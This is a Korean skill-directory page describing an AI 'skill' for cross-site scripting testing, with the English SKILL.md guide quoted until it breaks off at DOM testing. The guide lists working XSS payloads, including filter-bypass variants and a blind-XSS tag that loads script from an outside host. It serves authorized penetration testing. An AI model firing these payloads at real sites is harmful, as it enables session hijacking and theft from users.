본문으로 건너뛰기
Skillpedia
테스트35k · #8392

testing-for-xss-vulnerabilities

하는 일

이 도구는 공격자가 악성 코드를 주입할 수 있는 웹사이트의 보안 결함을 찾도록 돕습니다. 사이트가 사용자 정보를 훔치거나 사용자 계정을 장악하는 공격으로부터 보호되는지 확인합니다.

사용하는 경우

  • ✓웹사이트가 코드 주입 공격에 취약하지 않은지 테스트할 때.
  • ✓사이트의 악성 코드 방어가 제대로 작동하는지 확인할 때.
  • ✓공격이 사용자 정보를 훔치거나 사용자를 사칭할 수 있음을 보여 줄 때.

스킬 링크

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/testing-for-xss-vulnerabilities/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“웹사이트 X가 악성 코드 주입과 세션 하이재킹으로부터 안전한지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

도구는 ‘alert(1)’ 같은 작은 코드 조각을 웹사이트의 여러 부분에 넣어 코드가 실행되는지 봅니다. 또한 기존 보호 장치를 우회해 공격이 가능함을 증명하려고 합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Testing for XSS Vulnerabilities

When to Use

  • Testing web applications for client-side injection vulnerabilities as part of OWASP WSTG testing
  • Evaluating the effectiveness of input sanitization and output encoding across all application features
  • Assessing the protection provided by Content Security Policy (CSP) headers against XSS exploitation
  • Demonstrating the impact of XSS through session hijacking, credential theft, or phishing overlay to stakeholders
  • Testing single-page applications (React, Angular, Vue) for DOM-based XSS in client-side routing and rendering

Do not use against applications without written authorization, for deploying persistent XSS payloads that affect real users, or for exfiltrating actual user session tokens from production environments.

Prerequisites

  • Authorized scope defining the target web application and acceptable testing activities
  • Burp Suite Professional with XSS-focused extensions (XSS Validator, Reflector, Active Scan++)
  • Browser with developer tools and XSS testing extensions (HackBar, XSS Hunter)
  • XSS Hunter or Burp Collaborator for out-of-band payload verification
  • SecLists XSS payload lists and custom payloads for WAF bypass scenarios

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: Input and Output Mapping

Map every location where user input enters and is rendered by the application:

  • Reflected inputs: Test every URL parameter, search field, error message, and HTTP header value that is reflected in the response
  • Stored inputs: Identify features where input is saved and displayed later: user profiles, comments, forum posts, file names, support tickets, and chat messages
  • DOM inputs: Identify client-side JavaScript that reads from location.hash, location.search, document.referrer, window.name, postMessage, or localStorage and writes to the DOM
  • Output context identification: For each reflected input, determine the rendering context:
    • HTML body: <div>USER_INPUT</div>
    • HTML attribute: <input value="USER_INPUT">
    • JavaScript string: var x = 'USER_INPUT';
    • URL context: <a href="USER_INPUT">
    • CSS context: <div style="color: USER_INPUT">

Step 2: Reflected XSS Testing

Test reflected injection points with context-appropriate payloads:

  • HTML body context: <script>alert(document.domain)</script>, <img src=x onerror=alert(1)>, <svg onload=alert(1)>
  • HTML attribute context: " onfocus=alert(1) autofocus=", " onmouseover=alert(1) ", "><script>alert(1)</script>
  • JavaScript string context: ';alert(1)//, \';alert(1)//, </script><script>alert(1)</script>
  • URL/href context: javascript:alert(1), data:text/html,<script>alert(1)</script>
  • Inside HTML comments: --><script>alert(1)</script><!--
  • Filter bypass payloads (when basic payloads are blocked):
    • Case variation: <ScRiPt>alert(1)</sCrIpT>
    • Event handlers: <details open ontoggle=alert(1)>
    • SVG: <svg><animate onbegin=alert(1) attributeName=x>
    • Encoding: <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

Step 3: Stored XSS Testing

Test persistent storage points that render input to other users:

  • Submit XSS payloads to every stored input field identified in Step 1
  • Use a unique identifier in each payload to track which inputs trigger: <script>alert('XSS-PROFILE-001')</script>
  • Check all locations where the stored input is rendered (the same input may appear on multiple pages)
  • Test file upload features with HTML files containing JavaScript, SVG files with embedded scripts, and filenames containing XSS payloads
  • Test rich text editors by injecting payloads through the raw HTML mode or by manipulating the POST data after the client-side editor sanitizes
  • Use XSS Hunter payloads ("><script src=https://yourxsshunter.xss.ht></script>) for blind stored XSS where the payload fires in an admin panel or internal tool you cannot directly access

Step 4: DOM-Based XSS Testing

Analyze client-side JavaScript for unsafe DOM manipulation:

  • Source identification: Search JavaScript for dangerous sources that read attacker-controlled input:
    • document.location, document.URL, document.referrer
    • location.hash, location.search, location.href

…

자주 묻는 질문

XSS란 무엇인가요?

공격자가 신뢰받는 웹사이트에 악성 스크립트를 주입하는 공격입니다. 이 스크립트는 다른 사용자의 브라우저에서 실행될 수 있습니다.

‘페이로드(payload)’란 무엇인가요?

공격자가 웹사이트에 주입하려는 악성 코드입니다. 메시지를 띄우는 단순한 명령부터 데이터를 훔치는 복잡한 코드까지 다양합니다.

CSP(콘텐츠 보안 정책)란 무엇인가요?

브라우저에 어떤 출처의 콘텐츠를 신뢰할지 알려 주어 XSS 등 코드 주입 공격을 막는 보안 계층입니다.

상세 정보

작성자의 원본 설명

Tests web applications for reflected, stored, and DOM-based Cross-Site Scripting by injecting JavaScript payloads with Burp Suite (XSS extensions, Active Scan++) and browser tools, then bypassing sanitization and CSP to demonstrate session hijacking and user impersonation. Use for OWASP WSTG client-side injection testing or when evaluating input sanitization and output encoding coverage.

repo: mukul975/Anthropic-Cybersecurity-Skills

인기도

GitHub 스타
35k
순위
#8392
라이선스
Apache-2.0
업데이트
2026. 8. 31.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬